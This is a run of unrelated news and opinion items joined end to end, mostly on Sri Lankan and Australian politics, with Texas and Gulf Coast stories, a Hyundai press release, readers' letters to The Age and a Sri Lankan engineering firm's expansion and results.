Clearly those who came up with the idea of an executive president assumed that this would always be the case. We saw, however, in 2001 and in 2018 (after the UNP-SLFP marriage came to an end) that it is possible for the President to belong to a political party that does not enjoy a parliamentary majority. We know how the situation was resolved in the first instance and the signs are that we are likely to see that history repeated.

While we wait on all that, theres the vexed issue of the provincial councils (PCs) or rather the blatantly anti-democratic behaviour of this government with respect to the repeated delaying of elections. This government used delimitation as a red herring. This government reformed the proportional representation system, ensuring that its trial run in the local government election would be such a farce that the original formula would be made to look good. Thats bad. This is bad. Something else is called for. But they are not doing anything about putting this something else in place.

It just boils down to one thing. FEAR. This government is terrified of going before the people. The United National Party (UNP), to be fair, did want a Presidential Election, but thats not about democracy or being brave. Its about the belief that the configuration of forces in an exercise to elect a single individual (as opposed to a party/coalition and 225 MPs) would offer a less terrifying prospect.

Its logical of course. With President Maithripala Sirisenas political antics towards the end of 2018, the other camp if you will does appear unsure. Duminda Dissanayake, who had been virtually sidelined, surfaced from nowhere to nominate Sirisena as the presidential candidate of the Sri Lanka Freedom Party (SLFP). Its no secret where his political future lies (hint: think far away from the SLFP). Basil Rajapaksastated that the Sri Lanka Podujana Peramuna (SLPP) would field its own candidate, effectively dismissing the notion of the party supporting a re-election bid by Sirisena.

The problem with abolishing the executive presidency is that some who advocate it do not recognize the safeguards embedded in the relevant piece of legislation in the event a provincial council decides to move for separation

The headaches of politicians and parties should, if at all, thrill the citizens. Let them stew, as they say. The bigger issue and indeed the issue that is not being talked about by politicians looking to a general and presidential election is the PC election. Why not?

Is it, as mentioned, a simple matter of focusing on a bigger prize? For arguments sake, lets assume this is the case. However, if it is the case it means that these politicians are not serious about the most basic element of democracy, namely elections!

The Rajapaksa camp has pointed out that elections were not postponed between 2005 and 2015. Correct. They didnt need to, considering the high level of popularity they enjoyed following the defeat of terrorism. However, what would have happened if they did postpone elections  lets say the Uva Provincial Council elections? You can rest assured that the State Department in Washington DC would fire off a missive. So too, the British foreign office. There would have been grave statements from the EU and from the UN.

Diplomats, UN personnel and those in INGOs would have conferred. Some would have called on the Foreign Minister or even the President. Dire warnings would have been issued. They would have, along with pals in the NGO advocacy cartel met with the Leader of the Opposition. Plans would be drawn, statements would be issued.

Well! We are not hearing anything from these worthies regarding the PC elections. Nothing even from the born again democrats, funded voices and candlelight ladies. They are focusing on President Sirisena these days, calling for his resignation. Why? Well, he belittled their darling little leader, thats why!

So what of the PCs? No one wants them. No one wants the PCs and therefore no one is interested in elections. So its not necessarily a problem of the diplomats, people in advocacy NGO and the aforementioned innocents. Simply, they have become an anachronism. Wait, that cant be right. It implies that PCs did belong at some point in time. They did not.

What we had was a misdiagnosis. That was deliberate. Following misdiagnosis, medicine was prescribed. It hasnt worked but then again, perhaps that was also counted on, for now the doctors can prescribe a larger dose  not PCs under the 13th Amendment but a federal-in-all-but-name arrangement (for now).

This country is not a circus but we have clowns as law-makers. Nothing exemplifies this than this PC business. Its got to go and replaced with effective decentralization and implementation of the relevant language laws.

As for the executive presidency, we can talk about in conjunction if repealing the 13th and NOT, as advocated, upping the ante in terms of power-devolution.

malindasenevi@gmail.com. www.malindawords.blogspot.comThat progress, the most Texas Democrats have made in years, has left some members grappling with a question: How can they capitalize on it?

I think for Democrats to be successful in bringing some real wins this session, we need to stand firm together, said freshman state Rep. Erin Zwiener, a Driftwood Democrat who flipped her House seat in November. We need to make the case to some of our Republican colleagues that what we stand for is what their voters want as well.

Zwiener and other Democratic freshmen who flipped longtime GOP-held seats are still excited about their long-shot victories on the campaign trail and want to translate that momentum into ambitious legislative wins at the Capitol. But more seasoned Democrats, familiar with how things work at the Capitol and emphasizing that their party is still in the minority, suggest that a more measured approach could land them the support needed to pass policy theyve championed over the years.

I think the early indications are encouraging, said state Rep. Chris Turner, D-Grand Prairie, in a recent interview with The Texas Tribune. But we have a long way to go.Texas A&M Universitys diversity, equity and inclusion efforts will now be overseen by senior professor Frank Ashley, who said multiple positions he has held in his three decades at the school have prepared him well for this new task.Its just a break from some of the other classes. Its different, Cunha said.

Once you compete, you want to be the one that gets the most points, so it pushes you to keep going, Odyssey Academy student Alejandro Tirado said. Its fun.

For the first two years of the program, Cunha said, the students created projects just like they did this year, but they were tried only in the larger city pool  never in a competition situation.

Tuesdays move to the outdoor pool meant some added complications, specifically due to the wind and impaired visibility because of the rippling water. The deeper water  4-5 feet instead of about 2 feet in the classroom  meant the students had to account for the distorted depth perception.

You never know what youre going to encounter with each differing scenario. Just have to be prepared, but then its all problem-solving, Cunha said. Thats what everything is all about.

In addition to the condition of the water and the robots actions, the deeper pool also meant the robot needed more power to be able to go down to the bottom of the pool and then back up to the surface, Tirado said after his team finished its run.Are you a current print subscriber to Columbia Gorge News? If so, you qualify for free access to all content on columbiagorgenews.com. Simply verify with your subscriber id to receive free access. Your subscriber id may be found on your bill or mailing label.Click the image to the left and log in to get your exclusive reader perks.Despite the political upheaval in Sri Lanka, it is in America's interests to continue military collaboration and cooperation with Sri Lankan Forces, US Indo-Pacific Command Chief Admiral Philip Davidson has said.

According to PTI, Admiral Davidson told the US Senate's Armed Services Committee, during a Congressional hearing, that Sri Lanka remains a significant strategic opportunity in the Indian Ocean and military-to-military relationship continues to strengthen between the two nations.

The political turmoil and ethnic tension between the Tamil and Sinhalese populations, however, remain drivers of instability and potential obstacles to continued growth in our partnership. Moreover, Sri Lanka has handed over the deep water port of Hambantota to China on a 99-year lease due to its mounting debts to China, which has caused international concern, he said.

He said the US Indo-Pacific Command (USINDOPACOM) cooperate with the Sri Lankan military centers on building capacity in maritime security and maritime domain awareness, humanitarian assistance and disaster relief as well as humanitarian de-mining, medical assistance, and peacekeeping operations.

He said increasing navy-to-navy engagement with Sri Lanka will be a USINDOPACOM focus in 2019 and that Sri Lankan Navy is a well-trained and professional force with the potential to contribute to multi-lateral maritime interoperability in the Indian Ocean.

The recent transfer of an excess US Coast Guard cutter to Sri Lanka in August 2018, along with additional platforms from Japan and India, provide the Sri Lankan Navy greater capabilities to contribute to regional maritime domain awareness initiatives, he said.

He said it is necessary to sustain engagement with Sri Lanka, particularly the navy, and construct a multi-lateral approach to capacity building with like-minded partners to rapidly enhance the Sri Lankan Navy's capabilities.

Meanwhile, he said China is exploiting growing debt burdens to access strategic infrastructure in the region.

In December 2017, Sri Lanka handed over control of the newly-built Hambantota seaport to Beijing with a 99-year lease because Sri Lanka could no longer afford its debt payments to China, he added.JEFFERSON - Patricia VanHoesen, 88, passed away on Saturday, June 19, 2021, at Robinson Terrace in Stamford. Born on Feb. 7, 1933, in Oneonta, Patricia was the daughter of the late Maurice and Loretta (Kelly) Nichols. She was married to the love of her life, Richard E. VanHoesen of 68 year oThis is the temporary subscription pass for users returning from the Vision Data subscription process. Your subscription will be updated within 24 hours, after your information is verified. Please click the button below to get your pass.Used Car Award - 2016 Hyundai Santa Fe Ranked Most Dependable Midsize SUV By J.D. Power

FOUNTAIN VALLEY, Calif., Feb. 13, 2019  Hyundais Santa Fe received the distinct honor of most dependable Midsize SUV in the J.D. Power 2019 Vehicle Dependability Study (VDS). Released today, the annual Vehicle Dependability Study shows Santa Fe ranked highest in its class, beating out leading competitors in the 2016 model year. The Santa Fe delivers Hyundais recipe of bold design, high-output powertrains and a host of features to please drivers and passengers with high expectations for functionality, versatility and comfort.

(left to right) Barry Ratzlaff, vice president of customer satisfaction, Hyundai Motor America, Omar Rivera, director, quality and service engineering, Hyundai Motor America, Brian Smith, chief operating officer, Hyundai Motor America and Robert Mansfield, senior director, global automotive at J.D. Power celebrate the Hyundai Santa Fes win as the most dependable Midsize SUV in the J.D. Power 2019 Vehicle Dependability Study.



2016 Hyundai Santa Fe

Long-term ownership satisfaction is a key part of the Hyundai Way, said Barry J. Ratzlaff, vice president of customer satisfaction, Hyundai Motor America. We strive to create vehicles that deliver quality, safety, bold design and great value. This award from J.D. Power recognizes the strong effort of our R&D, Manufacturing and Quality teams as well as our dealers who all work together to support our owners. Along with great vehicles, Hyundai also offers our customers the assurance of a great shopping and ownership experience.

The study, now in its 30th year, examines problems experienced during the past 12 months by original owners of 2016 model-year vehicles. Overall dependability is determined by the number of problems experienced per 100 vehicles (PP100), with a lower score reflecting higher quality. The study covers 177 specific problems grouped into eight major vehicle categories.



For the 2019 model year, Santa Fe adds:

New safety, comfort and convenience technologies

Increased visibility, cabin and storage space

Bolder design language

2019 Hyundai Santa Fe

Hyundai Motor America

Hyundai Motor America is focused on delivering an outstanding customer experience grounded in design leadership, engineering excellence and exceptional value in every vehicle we sell. Hyundais technology-rich product lineup of cars, SUVs and alternative-powered electric and fuel cell vehicles is backed by Hyundai Assuranceour promise to deliver peace of mind to our customers. Hyundai vehicles are sold and serviced through more than 830 dealerships nationwide and the majority sold in the U.S. are built at U.S. manufacturing facilities, including Hyundai Motor Manufacturing Alabama. Hyundai Motor America is headquartered in Fountain Valley, California, and is a subsidiary of Hyundai Motor Company of Korea.A group of Jaffna University students have forcibly completed the partly built Mahaviru Memorial in the university premises and opened it for display on Monday night despite University Grant Commission (UGC) instructions to stop work, Jaffna security authorities said.

Jaffna University Vice Chancellor Rathnam Vigneswaran stopped the construction work on the partly completed Mahaviru Memorial because the UGC did not approve it.

Jaffna University students who held the Mahaviru commemoration day in front of this half completed memorial recently had installed the other part of memorial built in a separate place after bringing it to the university premises secretly.

The upper part of the memorial displays several signs used by the LTTE to commemorate the Mahaviru day and a symbol hand emerging from the ground.

Those who built the memorial have not been yet identified and any necessary actions do not seem to be taken by the university administration. (Romesh Madushanka)Queensland's latest Closing the Gap report has been described as a "reality check", with Indigenous Queensland men still expected to die almost eight years earlier than their non-Indigenous counterparts.

On the 11th anniversary of Kevin Rudd's national apology to the Stolen Generation, Queensland has become the first state to release a whole-of-government report card on efforts towards closing the gap.

Queensland Premier Annastacia Palaszczuk pointed to key areas of progress. Credit:AAP/Jono Searle.

Premier Annastacia Palaszczuk said the report showed the state's progress and also opportunities for improvement, one decade on from the landmark Closing the Gap report.

Targets not on track were:The NSW government will force retirement villages to stop charging fees for indefinite periods, and to sell units within a fixed time after residents leave to save retirees potentially thousands of dollars.

While the moves have been welcomed by some, others say the policy changes need to address some key issues for them to work.

Kathryn Greiner, the state's first retirement village ambassador, has welcomed the policy announcements. Credit:Dominic Lorrimer

In an election pitch, NSW Minister for Better Regulation Matt Kean said the government wanted to stop retirement villages from "taking advantage of retirees".

"I understand the frustration and anger of residents, which is why were placing a 42-day limit on the length of time villages can charge for general services after someone leaves," he said.Labor has asked the Speaker of the House of Representatives to consider referring Liberal MP Tim Wilson to Parliament's powerful privileges committee.

The Victorian MP has faced a week of criticism after it was revealed he collaborated with Wilson Asset Management on a campaign against Labor's franking credit policy, failed to declare his investments in funds run by the firm to inquiry hearings, and used the taxpayer-funded probe to help spruik Liberal Party fundraisers.

Liberal MP Tim Wilson. Credit:Dominic Lorrimer

The Australian Information Commissioner is assessing whether it has jurisdiction over Mr Wilson's use of a website he co-funded with Wilson Asset Management founder Geoff Wilson.

The website features the Commonwealth coat of arms and Mr Wilson's official title as the chair of Parliament's economics committee.Treasurer Josh Frydenberg has told the corporate regulator to ramp up court action against the financial sector and warned the nation's banks they must change their cultures if they are to regain the community's trust.

In a series of letters to the nation's two chief financial regulators and the Australian Banking Association, Mr Frydenberg has signalled extra funding in the April 2 budget for both the Australian Prudential Regulation Authority and the Australian Securities and Investments Commission.

Kenneth Hayne urged regulators to take a much harder approach on litigation towards the financial sector. Credit:Eddie Jim

Both APRA and ASIC came under fire from royal commissioner Kenneth Hayne through his year-long inquiry, particularly over their failure to take strong action against firms in the financial sector.

ASIC in particular was criticised and told to move to a "why not litigate" approach.Prime Minister Scott Morrison will on Thursday unveil a revamped Closing the Gap strategy which will give First Nations leaders equal standing with government in designing targets to overcome Indigenous disadvantage.

Mr Morrison is expected to tell Parliament that the decade-old framework used by federal and state governments to close the gap had been well-intentioned, but doomed to fail because it did not sufficiently share objective and process with Indigenous Australians and did not hold different levels of government to account.

Prime Minister Scott Morrison. Credit:AAP

He will say previous targets have been too narrow, sometimes with counterproductive effect.

The very nature of looking at this from a closing the gap point of view takes a deficit mentality to the task which can sometimes mask progress being made, Mr Morrison will say.The Queensland government is being urged to actively take up a new online resource aimed at helping teachers and students deal with children who have epilepsy.

The Epilepsy Smart School program is being rolled out nationally by Epilepsy Australia following a successful trial in Victoria.

Queensland schools are being urged to take up a new epilepsy education resource Credit:Fairfax Media

The program combines management plans, teacher training modules and community awareness programs into a single online resource.

Helen Whitehead, the chief executive of Epilepsy Queensland said the program would supplement the work the state arm of the national body already did with Education Queensland.A Queensland man's family has hired a helicopter to join local boats and emergency services searching for him after he was thrown off a tinnie into a swollen north Queensland creek.

Authorities still hold out hope 35-year-old Justin Scott will be found alive after the boat he was on with two other men crashed in the raging Groper Creek, south-east of Townsville, about 5.30pm on Friday.

Justin Scott is still missing after falling into Groper Creek in north Queensland on Friday. Credit:Facebook

Mr Scott's fellow boaties, believed to be local men in their 20s, managed to swim to safety but he has not been seen since.

The search entered its sixth day on Wednesday, after efforts to find Mr Scott started the night he fell into the creek.A brief detente in the war between the Morrison government and the energy sector came just in time for the Liberal Partys $3500 a-head fundraiser on Tuesday night.

On the menu behind closed doors at Hyatt Canberras Centenary room: some good old money-can-buy conversation with Energy Minister Angus Taylor.

Credit:Matt Golding

Present for that warm embrace was a low-level but loyal crowd of just over a dozen people, including dinner hosts Caltex, who brought four of their heavy hitters.

They were led by the companys new chief lobbyist Todd Loydell, its government affairs adviser Philip Skinner and corporate affairs boss Elizabeth Rex.Chris Palfreyman, Malvern A lesson in holding a government to account The usual mantra of an opposition party is that it is there "to hold the government to account". All bark and no bite. Now the independents have shown how a government can be truly be held to account. This is a positive development in Australian politics. Alan Barford, Northcote The real "enemy" within that we should fear

Prime Minister, while you and the home affairs minister have cleverly diverted attention to the so-called enemy without, I am more afraid of the enemy within. I fear the mistreatment in our name of thousands of people on Manus and Nauru, the lack of accountability by our home affairs ministry, the trashing of these refugees' human rights for the sake of stopping the boats, and the contravention of international law that this policy engenders. In fighting this enemy within, we need to arm ourselves with compassion and trust, rather than fear and hatred. Patricia Parkinson, Main Ridge The myth that we will be flooded with refugees Claiming that removing asylum seekers from Manus and Nauru for medical treatment will result in a flood of refugee boats is akin to claiming that Iraq needed to be attacked because it had weapons of mass destruction. When will the Liberals cease using falsities to justify their abhorrent decisions? Mark Hulls, Sandringham

We elect our politicians for the Australian people Why are our politicians spending so much time and effort on asylum seekers? We have more than 3million Australians, including 279,000 children, who are living in poverty. Australian politicians are elected by the people, for the people  those people being Australians. Maggie Mackenzie-Goodman, Mount Martha Surely there's a duty to provide treatment for all Are we seriously saying it is right to withhold medical assistance from "bad people"? Do we do this in our prisons or in our wars (a la the Geneva Convention)? Are the people who need medical help not still "in detention" when we bring them to Australia for treatment?

Gilly McInnes, Monbulk THE FORUM A vote-winning weapon While I support its underlying purpose (and understand the satisfaction in embarrassing the government), I do question the wisdom of the medivac legislation. The bill hands the government a dishonest but potentially effective weapon in the election campaign against Labour, and allows it to cynically and opportunistically promote the possibility of new boat arrivals. Perhaps waiting until after the election and introducing a comprehensive new resettlement policy, backed with the mandate of electoral success, would have been a better, long-term solution?

Michael Liffman, Middle Park Now let's tackle stage 2 Congratulations to all those MPs who voted in favour of the legislation on refugee medical transfers. Job well done. Next step is to get the refugees off Manus Island and Nauru and resettled elsewhere to put an end to Australia's shame. Sue Bennett, Sunbury What the people want

I listened to Peter Dutton on AM waffle on about refugee boats sinking in the Mediterranean and how Australia will be overrun with boats if we do not listen to his government. However, people are tired of listening to this. They would like to hear about policies that will help pensioners, and rein in rip-off energy companies, rip-off health insurance companies and shonky employment agents. They also want policies that will help the working poor get full-time work and pay rises, and ones that will protect the environment. Please change the record. Get back to working full-time for the country rather than go on and on with rubbishy scare tactics. Dermot Mcintosh, Bacchus Marsh Threat of climate change The definition of security is the state of being free from danger or threat. I cannot comprehend a danger or threat to Australia from unarmed asylum seekers arriving in leaky boats  or in planes. I do see an elevated danger or threat from floods, bushfires and harvest failures that are all exacerbated by global warming.

Frank Penhalluriack, Kew Wow, what a bargain Can't you imagine the advertising by people smugglers: Special offer. Apply for a dangerous boat trip to Australia. If you get to land safely, you can then spend lengthy periods in detention centres. Be constantly vilified and defamed as criminals. Experience extensive mistreatment. Lose your health and your minds. Then qualify for a possible trip to Australia for medical care. If you're lucky, you might get protection as a refugee and, eventually, citizenship. Irresistible. Heather D'Cruz, Geelong West The perfect proposal

Here's a plan, Peter Dutton. Abandon patrols by Border Force on the north-west coast. Buy the people smugglers a few dozen boats. Wait for the refugees to arrive and blame it on Bill Shorten. Colin Wilkinson, Mount Martha A tale of two "fleers" Notorious drug lord Tony Mokbel did not arrive in Australia by boat. He left Australia by boat, fleeing prosecution, only to be caught and brought back here. He was sentenced to 30 years prison in 2012, to serve a minimum of 22 years. Then he was stabbed in Barwon Prison. So what did we do? Airlifted him to a world-class hospital. Why? Because that is what a humane society does. But wait. What if you are fleeing persecution and arrive in Australia by boat? Well, you get to rot in detention camps on Manus or Nauru.

Greg Mellor, Elwood The forgotten prisoner What fantastic work to bring Hakeem Al-Araibi home to Australia. Good on you, Craig Foster. However, let us not forget Australian citizen Hazem Hamouda. The Queensland father of six has been held in Egypt for over a year without any charge being laid. Linda Driscoll, Armadale Shameful anti-Trumpism

As a visitor to Melbourne from the US, I was not surprised to see the misleading heading, "A lot of people here hate him", regarding Donald Trump's visit to the border town of El Paso  especially since paragraph 22 stated a 7000-seat arena was full and "thousands more" watched from outside (World, 13/2). In reality, most white, black, and Hispanic citizens in border areas (like where I live part-time in southern Arizona) support increased border security to stem the flow of undocumented aliens into the country. I hold a degree from an Ivy League college where the liberal is stressed in liberal arts, so I am not a backwater "hick" that the left likes to stereotype as a typical Trump supporter. A shame that a quality publication like The Age follows the US media's hatred of an accomplished administration. Tom Furlong, Marietta, Georgia Will history repeat itself? So Britain has flagged a navy push into the Asia-Pacific (World, 13/2). The last time that it had a significant naval presence there, its two battleships  Prince of Wales and Repulse  were promptly sunk by the Japanese, leading to the fall of Malaya and Singapore.

David Beauchamp, Carlton More bikes, less speed As a bike rider, I welcome the RACV's imaginative plan for bike-only "superhighways" (The Age, 13/2). However, as a resident of Canning Street, already a major bike route, I am alarmed to see the word "high-speed" in the proposal. Canning Street is a quiet residential street with a primary school, two day-care centres, a much-frequented park and a median strip that is used for picnics, ball games, garage sales and walking the dog. At peak hour, it is not only a bike highway; it is a busy pedestrian thoroughfare. Crossing the road with my grandchildren at this time means navigating two bike lanes and local car traffic. Surely the principle should be more bikes, but less speed, at least in pedestrian-friendly streets.

Antonia Finnane, Carlton North Clamp down on speeders Why are there no speed cameras on the Tullamarine Freeway where speed limits are frequently, and dangerously, broken? Does Transurban have a special deal to encourage the use of its freeway? Amanda Russell, Armadale How to save lives

Kate Cotter (Comment, 12/2) outlines a compelling argument for disaster resilience funding. She says "Eltham and Warrandyte are potential death traps due to poor evacuation routes  only two river crossings, which are congested under normal conditions  unmanaged fuel loads and a low number of new buildings built to bushfire construction standards". Some supporting observations: Warrandyte Bridge connects two roads north of the Yarra to two roads on the south bank. The nearest Yarra bridges are Fitzsimons Lane (eight kilometres west) and Henley Bridge (eight kilometres east). A third Warrandyte Bridge lane was recently completed at some cost, with inconvenience to regular users. Days before the 10th anniversary of Black Saturday, Scott Morrison promised $10million to widen Fitzsimons Lane. Had the Kilmore fire 10 years ago travelled south for long enough before a cool change sent it east past Yarra Glen, many Eltham and Warrandyte residents fleeing south would have been trapped. New crossings closer to Warrandyte Bridge would meet Cotter's resilience arguments and ease congestion around Fitzsimons Lane. Where is the co-ordination between local, state and federal governments, emergency services, and emergency preparedness bodies like the Bushfire Building Council of Australia? Frans Brouwer, Ringwood North

Rationing a basic need The Combined Pensioners and Superannuants Association NSW policy manager, Paul Versteege has told the royal commission hearing in Adelaide that "it's quite common for continence pads to be rationed" in aged care homes. This illustrates that the dignity and comfort of many frail aged residents is being challenged daily. Glenda Addicott, Ringwood East A heartfelt tribute At last, after all these years, Amanda Vanstone has finally written a column  "Farewell to a friend and respectful foe" (Comment, 13/2)  which is free of cant and rant.

After all these years, l finally got to read beyond her first or second paragraph. Vale, former Labor senator Barney Cooney. And well done, Amanda. David Allen, Bayswater North Benefit of not being tall Dan Kaufman urges us to "stand tall against short shaming" (Comment, 13/2). I was tutoring university students when Jim Cassidy (the jockey) won the Melbourne cup on Kiwi. I am a quite small person, 163centimetres, and my students asked if it was me. I said, "Of course, I just teach as a hobby". James Cassidy, Mount Waverley

Perfect bodily balance Hey, Dan Kaufman, when people say that I am short, I just tell them that I am tall for my height. It seems to work. Trish Thompson, Northcote The ABC's responsibility Trevor Barr (Letters, 13/2) says "that other trenchant critic attacking the alleged bias of ABC  Sky News  has no such publicly disclosed policy about its own bias". However, the ABC is publicly funded from the taxes we all pay. Sky News is not. Sky can rant and rave about anything it desires and will always have an audience that supports that view. Being publicly funded, the ABC has a responsibility to provide balanced reporting, views and comment.

David Parker, Geelong Fun and games for our Gov I thought that the Vice-Regal notice  which explained the Governor presided at a meeting of the Executive Council  was the caption for Weldon's cartoon placed next to it (The Age, 13/2). This cartoon portrayed a man, wearing a snorkel, with his head in a bowl. What surprising fun for our Linda Dessau. David Cramond, Mornington AND ANOTHER THING

Medical transfer bill Odds on Border Force will let a boat through before the election. Robin Lawson, Cloverlea Goodness, a fire and brimstone sermon. I was expecting our PM to start speaking in tongues.

Corrie Macartney, Mont Albert North The only thing Morrison didn't claim was that Shorten would captain the next boat. Denis Evans, Coburg If boats arrive, it will be because Border Force and Dutton failed in their duties. Jen Hooper, Box Hill

A weakened Coalition government praying for a boat. Haven't we been here before? Matt Dunn, Leongatha It's going to be Tampa all over again. Robyn Lovell, Epping All Shorten has to say is that Labor will provide border security by the use of continual naval surveillance.

Glenise Michaelson, Montmorency Well done, Prime Minister. You've made history. Pat Agostino, St Kilda West Morrison won't call an early election. He knows that time is the best friend of the politics of fear. Mike Fajdiga, Beaumaris

Labor, the Greens and crossbenchers won the vote, 75-74. It's not exactly an overwhelming majority. Jen Gladstones, Heidelberg Furthermore Craig Foster for prime minister. Action and conviction. Tony Jago, Wangaratta

Craig Foster, oi, oi, oi. Barry Lamb, Heidelberg West Craig Foster should get an Order of Australia. Stephen Yolland, Templestowe Great that Andrews can ban trucks on Beach Road (11/2). Shame he can't ban racehorses on Warrnambool beaches.To bag 14mn euro sub-contract for steep overpass in Kenya

Spanish firm Centunion finalising agreement to award sub-contract

Project size and structure similar to 363 metre Rajagiriya flyover



By Nishel Fernando

Access Engineering PLC is en route to secure its largest construction contract outside Sri Lanka worth of 14 million euros to design and construct substructures for a Spanish-funded steel overpass for vehicles in Nairobi, Kenya, as the firm eyes business expansion in East Africa.



The Council of Ministers of Spain recently selected the top Spanish engineering firm Centunion S.A. as the main contractor for the 23.25 million euro project which would be financed through a refundable credit scheme under the FCPJ Company Internationalization Fund (FIEM) of Spain. Speaking to Mirror Business, Access Engineering PLC Managing Director Christopher Joshua confirmed that Centunion is finalising the agreement to award the sub-contract to design and construct a substructure of the steel overpass to Access Engineering PLC.



Its in the final stages. We should get the contract within the next quarter, he said. Joshua remarked that the size and the structure of the project would be similar to the 363-metre long Rajagiriya flyover for which Access Engineering constructed the steel substructures.



Access engineering earlier completed three flyovers as a solution to the heavy traffic congestion in Ganemulla and Polgahawela as the sub-contractor to Centunion, in addition to Rajagiriya.



We have very good relationship with them and they also know about the quality of our work and performances. Hence, they have invited us to undertake the project to construct the substructures, Joshua said.



Access Engineering plans to complete the construction of the substructures in 24 months, once the sub-contract is awarded.



Access Engineering PLC, Chairman, Sumal Perera said Access Engineering is looking at expanding its operations to the African continent, in particular East African Region.



Joshua said that a team from Access Engineering will visit Kenya shortly and the firm will register their business in Nairobi.



While noting that the 14 million euro project would be the largest project to be undertaken by Access Engineering outside Sri Lanka, he said the firm earlier entered into deals with China Harbour for the Port Lae Tidal Basin Phase I development project in Papua New Guinea and with China Merchants in the Republic of Djibouti for a feasibility study.



Access Engineering has already setup a branch office in the Free Zone of the Republic of Djibouti.



Joshua said Access Engineering is actively pursuing opportunities in infrastructure and construction projects in East Africa.

Meanwhile, Access Engineering under its subsidiary Access Realities is planning to register a special purpose Board of Investment (BOI) company to commence the construction of the Rs.8 billion Access Tower 3 adjoining Access Tower 2.



Joshua said they have received a letter from the Urban Development Authority (UDA) awarding the 114.56 perch land, which was approved by the Cabinet of Ministers last year.



He said the same architect and the design team which undertook tower one and two has been awarded the design contract for the new tower, while Access Engineering is most likely to undertake the construction of the project.



The new tower is expected to add approximately 300,000 sq.ft. of Grade A office space to Colombos commercial real-estate market in three years.



Commenting on Access groups other real-estate development projects, Joshua said the 242-unit Capital Heights luxury apartment project and Marina Square mixed development project are progressing to complete construction on schedule while recording healthy pre-sales.



Marina Square which comprises of 1,068 condominium apartment units and commercial space has recorded a pre-sale rate of over 25 percent. The project is scheduled to be completed in 2021.



We have almost completed the piling and we are in process of finalising the contract for the super structure. We are planning to launch the show-flats in six months, Joshua said.



He also noted that the Capital Heights project is on schedule to be completed in 2020 with over 40 percent of the apartments units already sold.

Construction and property development lift 3Q



Access Engineering PLC reported higher revenues and profits for the quarter ended in December 2018 (3Q19). The performance was propelled by the groups construction business and the property development arm, the interim results showed.



Access Engineering reported earnings of 66 cents a share or Rs.659.3 million for the October  December quarter, more than doubling from the 30 cents a share or Rs.304.5 million reported for the year earlier period.



The revenues for the period also rose by 15 percent year-on-year (YoY) to Rs. 7.95 billion while the cost of sales rose by a faster 11.2 percent YoY to Rs.6.63 billion, resulting in a gross profit of Rs.1.32 billion, up 38 percent YoY.

The operating profit for the group was Rs.1.02 billion compared to Rs.496.9 million a year ago.



Meanwhile, for the nine months ended December 31, 2018, the group reported earnings of Rs.1.65 a share or Rs.1.65 billion in total profits compared to Rs.1.20 a share or Rs.1.21 billion reported for the same period a year ago, which is an increase of 36.4 percent.



The group revenue led by the construction segment was Rs. 21.6 billion, up 13.4 percent YoY.



Access group did not expect its key construction sector to maintain higher profits as the construction sector profits were subject to 28 percent tax from April 1, 2018 from a subsidized rate of 12 percent which the sector hitherto enjoyed.



During the nine months, the groups construction sector operating profits rose to Rs.2.13 billion from Rs.1.24 billion a year ago.



The construction sector materials business of the group increased its profits to Rs.339.4 million from Rs.245.6 million a year ago.



The groups property development unit reported profits of Rs.436.8 million against Rs.154 million a year ago.



The group banks much of its future growth on the prospects of this sector.



Meanwhile, the groups automobile business segment run by Sathosa Motors PLC and SML Frontier Automotive (Private) Limited saw a decline in operating profits to Rs.303.3 million from Rs.569.0 million, despite a slight growth in the revenues.The Elara apartment owners have lost their bid for more than $10 million in compensation for alleged defects to their 120-unit complex after the Federal Court ruled they were ineligible.

But their lawyer has flagged an intention to appeal the decision to a full bench of the Federal Court, as he declared the owners remained "determined for justice to be served".

Elara apartment owner Dave Allen, pictured above, was disappointed by the court's decision to reject the compensation claim. Credit:Elesa Kurtz

The Elara owners corporation last year launched court action against the Master Builders Fidelity Fund Scheme as they sought to end six-years of legal wrangling and building disputes over the trouble-plagued Bruce complex.

On Wednesday, the court dismissed their claim, ruling their application for compensation through the builders insurance fund had been made after the eligibility period had lapsed.The National Audubon Society has deemed the Mid-Barataria Sediment Diversion, a $1.3 billion Mississippi River diversion planned for lower Plaquemines Parish, a key project necessary to protect and restore bird populations along the U.S. Gulf Coast, according to a new report from the environmental-advocacy group.

Thousands of additional acres of "critical habitat" for brown pelicans, reddish egrets and other bird species could be created through the massive, if controversial, diversion project, said Kara Lankford, director of Gulf Coast restoration at the Audubon Society, during a conference call to discuss the release of the new study.

Lankford called the project "transformative." The diversion, which would cut a gap in the Mississippi River levee to allow freshwater and sediment into sinking areas of the Louisiana coast, could build 8,000 acres in 20 years and 30,000 acres in 50 years, according to estimates cited in the report.

"Enhancing wetlands throughout the Barataria Basin would safeguard critical habitat for important birds and other wildlife," the report says. "These new and sustained wetlands would provide a buffer from storm surge for communities and industry" as well, it adds.

The report, released Tuesday, comes as the Mid-Barataria project continues to move forward with the support of state officials and environmental groups, even though fishermen and businessmen in the area of the diversion complain that it could upset fisheries and oyster beds.

Bird colonies along the Gulf Coast have been threatened in recent years by oil spills, hurricanes, coastal land loss and the demands of human recreational use, according to Lankford.

"The Gulf of Mexico is a vitally important ecosystem," she said. Without it, not only native species but others that use it as a stopover on long migrations between North and South America could be irreparably harmed, she said.

The Audubon Society report singles out 30 projects from Texas to Florida that it says could bolster bird populations in the region.

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Four of the projects are in Louisiana: the Mid-Barataria Sediment Diversion, restorations of Queen Bess Island near Grand Isle and Chandeleur Island off the St. Bernard Parish coast, and marsh creation in Freshwater Bayou in Vermilion Parish.

Similar projects are in the planning process for other states. In Texas, the group wants to create bay islands for pelicans and oystercatchers. In Florida, selected projects include the creation of breakwaters to help shield bird populations from destructive waves from storms. There are also projects in Alabama and Mississippi.

Some projects are regional, encompassing areas in more than one state.

By far, the most ambitious undertaking included in the Audubon study is the Mid-Barataria project, a first-of-its-kind endeavor that aims to restore the natural land-building power of the Mississippi by cutting the levee near Ironton and allowing that river water to flow into the Barataria Basin.

Other diversions have been built along the Mississippi, but those are designed to siphon fresh water from the river's flow in order to lower water-salinity levels.

For the sediment diversion, engineers hope that by cutting deeper into the levee, they may be able to send not just the river's water but also the heavier sediment into the marshes, spurring land-building.

Although the sediment diversion has broad support at the state level, local fishing and business interests are concerned that sending up to 75,000 cubic feet per second of cold freshwater into the Barataria Basin will alter the water chemistry and harm oysters, shrimp and other fish populations.

There are other hurdles as well. The U.S. Army Corps of Engineers, which will shepherd the project's federal permitting process, originally said it would be 2022 before it could be permitted. Since then, the project has been expedited, and permits could be in hand in 2020.

